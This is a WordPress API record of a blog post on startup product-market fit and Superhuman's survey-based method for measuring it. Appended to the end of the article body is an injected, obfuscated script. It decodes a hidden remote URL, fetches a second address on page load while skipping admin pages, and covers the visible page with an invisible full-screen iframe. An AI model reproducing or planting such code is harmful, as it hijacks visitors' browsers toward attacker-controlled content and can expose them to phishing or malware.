{"id":20298,"date":"2021-10-15T03:49:29","date_gmt":"2021-10-15T10:49:29","guid":{"rendered":"https:\/\/foundersnetwork.com\/?p=20298"},"modified":"2026-03-25T16:24:46","modified_gmt":"2026-03-25T23:24:46","slug":"superhuman-product-market-fit","status":"publish","type":"post","link":"https:\/\/foundersnetwork.com\/superhuman-product-market-fit\/","title":{"rendered":"The Startup Secret Sauce: A Superhuman Product-Market Fit"},"content":{"rendered":"<h2>What is your product-market fit?<\/h2>\n<p>Startup entrepreneur and investor Marc Andreessen has <a href=\"https:\/\/web.stanford.edu\/class\/ee204\/ProductMarketFit.html\" target=\"_blank\" rel=\"noopener\">defined<\/a> product\/market fit as \u201cbeing in a good market with a product that can satisfy that market.\u201d Reaching product\/market fit means that you\u2019re familiar both with your customer base and with the major needs and problems they have.<\/p>\n<h2><b>How does product-market fit for a startup?<\/b><\/h2>\n<p>Achieving <a href=\"https:\/\/coda.io\/@rahulvohra\/superhuman-product-market-fit-engine\" target=\"_blank\" rel=\"noopener\">product-market fit<\/a> should be one of the foremost goals of your startup\u2019s product team. It\u2019s an essential quality that startup investors will look for. Conversely, the path to startup success is lined with failed companies that struggled to reach product-market fit.<\/p>\n<h2>What is UX in product-market fit?<\/h2>\n<p>User experience (UX) refers to how customers interact with your products and services, and the experience they have while doing so. In order for users to love your product, it must fulfill UX criteria such as:<\/p>\n<ul>\n<li>Useful (meeting your audience\u2019s needs)<\/li>\n<p><\/p>\n<li>Usable (efficient and easy to use)<\/li>\n<p><\/p>\n<li>Findable (able to be discovered by your target audience)<\/li>\n<p><\/p>\n<li>Credible (trusted by customers and experts)<\/li>\n<p><\/p>\n<li>Desirable (with an attractive brand and design)<\/li>\n<p><\/p>\n<li>Accessible (able to be used by a wide range of people)<\/li>\n<p><\/p>\n<li>Valuable (clearly defining the benefit you receive)<\/li>\n<\/ul>\n<p>There are several different UX metrics to measure product\/market fit. One common heuristic is to measure the percent of users who would answer \u201cvery disappointed\u201d if they could no longer use the product. When you ask users \u201cHow would you feel if you no longer had access to this product?\u201d, at least 40% of users should respond \u201cvery disappointed.\u201d<\/p>\n<h2>How does Superhuman find product-market fit?<\/h2>\n<p>CEO Rahul Vohra is the founder of <a href=\"https:\/\/www.reforge.com\/brief\/how-superhuman-s-ceo-reverse-engineered-product-market-fit\" target=\"_blank\" rel=\"noopener\">Superhuman<\/a>, a startup that claims to be \u201cbuilding the fastest email experience in the world.\u201d For example, the Superhuman email app offers dozens of keyboard shortcuts to help users search, label, filter, and send messages more quickly.<\/p>\n<p>Superhuman built a <a href=\"https:\/\/www.mindtheproduct.com\/the-product-market-fit-engine-by-rahul-vohra\/\" target=\"_blank\" rel=\"noopener\">product-market fit engine<\/a> to automate the process of <a href=\"https:\/\/www.product-frameworks.com\/Product-Market-Fit.html\" target=\"_blank\" rel=\"noopener\">measuring product-market fit<\/a>. This included:<\/p>\n<ul>\n<li>Conducting UX surveys among the app\u2019s users<\/li>\n<p><\/p>\n<li>Separating users into customer segments based on their responses<\/li>\n<p><\/p>\n<li>Analyzing the collected data<\/li>\n<p><\/p>\n<li>Making changes based on this analysis and tracking the results<\/li>\n<\/ul>\n<p>This automated approach to product\/market fit can help startups identify hidden insights and gaps in their knowledge. For instance, your company may actually be targeting users who aren\u2019t as enthusiastic about your product as the \u201ctrue customers.\u201d<\/p>\n<p>In particular, Superhuman encourages startups to focus on their so-called \u201chigh-expectation customers\u201d (HXC). These individuals are the ideal customer for your business that you might imagine when you close your eyes. Think about questions such as:<\/p>\n<ul>\n<li>Which type of people most needs my products and services?<\/li>\n<p><\/p>\n<li>Why is your product important to these people, and how will your product help?<\/li>\n<p><\/p>\n<li>What kind of experience do you want people to have with your product?<\/li>\n<\/ul>\n<p>Superhuman is just one startup that has excelled at reaching the right product\/market fit. For more advice and best practices, get in touch with your connections in the <a href=\"https:\/\/foundersnetwork.com\/\">startup community<\/a>.<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What is your product-market fit? Startup entrepreneur and investor Marc Andreessen has defined product\/market fit as \u201cbeing in a good market with a product that can satisfy that market.\u201d Reaching &#8230; <\/p>\n<div><a href=\"https:\/\/foundersnetwork.com\/superhuman-product-market-fit\/\" class=\"more-link\">Read More<\/a><\/div>\n","protected":false},"author":31,"featured_media":20299,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_price":"","_stock":"","_tribe_ticket_header":"","_tribe_default_ticket_provider":"","_tribe_ticket_capacity":"0","_ticket_start_date":"","_ticket_end_date":"","_tribe_ticket_show_description":"","_tribe_ticket_show_not_going":false,"_tribe_ticket_use_global_stock":"","_tribe_ticket_global_stock_level":"","_global_stock_mode":"","_global_stock_cap":"","_tribe_rsvp_for_event":"","_tribe_ticket_going_count":"","_tribe_ticket_not_going_count":"","_tribe_tickets_list":"[]","_tribe_ticket_has_attendee_info_fields":false,"footnotes":""},"categories":[7292],"tags":[],"table_tags":[],"class_list":["post-20298","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-founders-community"],"acf":[],"featured_image_data":{"src":"https:\/\/foundersnetwork.com\/wp-content\/uploads\/2021\/10\/DSC_0492.jpg","alt":"superhuman product market fit founder network","caption":""},"_links":{"self":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts\/20298","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/users\/31"}],"replies":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/comments?post=20298"}],"version-history":[{"count":0,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts\/20298\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/media\/20299"}],"wp:attachment":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/media?parent=20298"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/categories?post=20298"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/tags?post=20298"},{"taxonomy":"table_tags","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/table_tags?post=20298"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}